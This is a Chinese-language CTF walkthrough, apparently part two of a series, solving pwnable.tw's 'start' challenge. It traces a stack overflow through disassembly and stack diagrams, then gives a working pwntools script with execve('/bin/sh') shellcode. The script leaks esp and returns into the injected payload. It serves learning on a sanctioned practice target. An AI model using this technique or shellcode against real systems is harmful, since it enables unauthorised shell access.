接續上一篇
題目是 pwnable.tw 的第一題 start
上一篇寫到我們要把 esp 的值改為我們 shellcode 的位置,這樣在 ret 時,就能順利執行我們的 payload。
我們昨天發現到程式在調用 write 時給的 buffer 過大,給了 60 個 bytes,因此輸入超過 20 個 bytes 可以覆蓋 return address。
-------------- <-- ecx // 輸入起始點
| Let' |
--------------
| s st |
--------------
| art |
--------------
| the |
--------------
| CTF: |
--------------
| retaddr | (exit address)
--------------
| saved esp |
--------------
我們的想法是,先確認好 esp 的位置,才能確定我們的 payload。
為了方便觀察,我們再列一次,執行 write system call
後的 register 與記憶體。
===============================================
=> 0x8048097 <_start+55>: int 0x80 //write
0x8048099 <_start+57>: add esp,0x14
0x804809c <_start+60>: ret
===============================================
-------------- <-- ecx, esp // 輸入起始點
| Let' |
--------------
| s st |
--------------
| art |
--------------
| the |
--------------
| CTF: |
--------------
| retaddr | (exit address)
--------------
| saved esp |
--------------
===============================================
0x8048097 <_start+55>: int 0x80
=> 0x8048099 <_start+57>: add esp,0x14
0x804809c <_start+60>: ret
===============================================
-------------- <-- ecx // 輸入起始點
| Let' |
--------------
| s st |
--------------
| art |
--------------
| the |
--------------
| CTF: |
-------------- <-- esp // esp = esp + 20
| retaddr | (exit address)
--------------
| saved esp |
--------------
接下來的 ret,就是 pop esp(esp = esp + 4)
===============================================
0x8048097 <_start+55>: int 0x80
0x8048099 <_start+57>: add esp,0x14
=> 0x804809c <_start+60>: ret
===============================================
-------------- <-- ecx // 輸入起始點
| Let' |
--------------
| s st |
--------------
| art |
--------------
| the |
--------------
| CTF: |
--------------
| retaddr |
-------------- <-- esp
| saved esp |
--------------
也就是把現在的 retaddr pop 出來,那我們要把 return address 改成哪裡呢?
仔細看看,由於程式一開始就把 esp push 進去,所以我們只要把現在 esp 的值讀出來,我們就能知道 esp 的位置了。
而我們也知道程式的上面有用 read 這個 system call。
===============================================
=> 0x8048087 <_start+39>: mov ecx,esp // ecx = esp
0x8048089 <_start+41>: mov dl,0x14
0x804808b <_start+43>: mov bl,0x1
0x804808d <_start+45>: mov al,0x4
0x804808f <_start+47>: int 0x80
0x8048091 <_start+49>: xor ebx,ebx
0x8048093 <_start+51>: mov dl,0x3c
0x8048095 <_start+53>: mov al,0x3
0x8048097 <_start+55>: int 0x80
0x8048099 <_start+57>: add esp,0x14
0x804809c <_start+60>: ret
===============================================
--------------
| Let' |
--------------
| s st |
--------------
| art |
--------------
| the |
--------------
| CTF: |
--------------
| retaddr | <-- 0x8048087
-------------- <-- esp, ecx
| saved esp |
--------------
===============================================
0x8048087 <_start+39>: mov ecx,esp // ecx = esp
0x8048089 <_start+41>: mov dl,0x14
0x804808b <_start+43>: mov bl,0x1
0x804808d <_start+45>: mov al,0x4
=> 0x804808f <_start+47>: int 0x80
0x8048091 <_start+49>: xor ebx,ebx
0x8048093 <_start+51>: mov dl,0x3c
0x8048095 <_start+53>: mov al,0x3
0x8048097 <_start+55>: int 0x80
0x8048099 <_start+57>: add esp,0x14
0x804809c <_start+60>: ret
===============================================
--------------
| Let' |
--------------
| s st |
--------------
| art |
--------------
| the |
--------------
| CTF: |
--------------
| retaddr | <-- 0x8048087
-------------- <-- esp, ecx //讀取的起點
| saved esp |
--------------
這時候我們可以透過 pwntool 的 u32(p.recv(4)) 去抓取前四的 bytes 也就是 esp 的值了。
那接下來程式當然會繼續執行,進入 write 的部分,那我們究竟要寫甚麼呢,我們有注意到在 0x8048099 的位置
0x8048099 <_start+57>: add esp,0x14 // esp = esp + 20
也就是說,我們從 esp 的位置隨便輸入 20 bytes 後面在加我們的 shellcode,最後 esp 就會順著程式執行流程,往後 20 bytes 並且透過 ret 執行了。記憶體會長這樣:
===============================================
0x8048087 <_start+39>: mov ecx,esp
0x8048089 <_start+41>: mov dl,0x14
0x804808b <_start+43>: mov bl,0x1
0x804808d <_start+45>: mov al,0x4
0x804808f <_start+47>: int 0x80
0x8048091 <_start+49>: xor ebx,ebx
0x8048093 <_start+51>: mov dl,0x3c
0x8048095 <_start+53>: mov al,0x3
=> 0x8048097 <_start+55>: int 0x80
0x8048099 <_start+57>: add esp,0x14
0x804809c <_start+60>: ret
===============================================
--------------
| Let' |
--------------
| s st |
--------------
| art |
--------------
| the |
--------------
| CTF: |
--------------
| retaddr | <-- 0x8048087
-------------- <-- esp, ecx //輸入的起點
| aaaa |
--------------
| aaaa |
--------------
| aaaa |
--------------
| aaaa |
--------------
| aaaa |
--------------
| shellcode |
--------------
===============================================
0x8048087 <_start+39>: mov ecx,esp
0x8048089 <_start+41>: mov dl,0x14
0x804808b <_start+43>: mov bl,0x1
0x804808d <_start+45>: mov al,0x4
0x804808f <_start+47>: int 0x80
0x8048091 <_start+49>: xor ebx,ebx
0x8048093 <_start+51>: mov dl,0x3c
0x8048095 <_start+53>: mov al,0x3
0x8048097 <_start+55>: int 0x80
=> 0x8048099 <_start+57>: add esp,0x14
0x804809c <_start+60>: ret
===============================================
--------------
| Let' |
--------------
| s st |
--------------
| art |
--------------
| the |
--------------
| CTF: |
--------------
| retaddr | <-- 0x8048087
-------------- <-- ecx //輸入的起點
| aaaa |
--------------
| aaaa |
--------------
| aaaa |
--------------
| aaaa |
--------------
| aaaa |
-------------- <-- esp //esp = esp + 20
| shellcode |
--------------
而我們上述的 script 可以這樣寫:
shellcode 可以從網路上找,也可以自己寫。自己寫的話就是如同之前寫過的要確定好用什麼 register 存什麼參數,和怎麼調用。
from pwn import *
p = remote('chall.pwnable.tw', 10000)
p.recvuntil(':') // 等程式 print 完
#shellcode = asm(shellcraft.sh())
shellcode = b"\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"
payload = b'A' * 20 + p32(0x08048087)
p.send(payload)
esp = u32(p.recv(4))
payload = b'A' * 20 + p32(esp + 20) + shellcode
p.send(payload)
p.interactive()
看名字就知道這又是一道美式中國菜。
前面廢話講太多累了,圖片自己想像一下。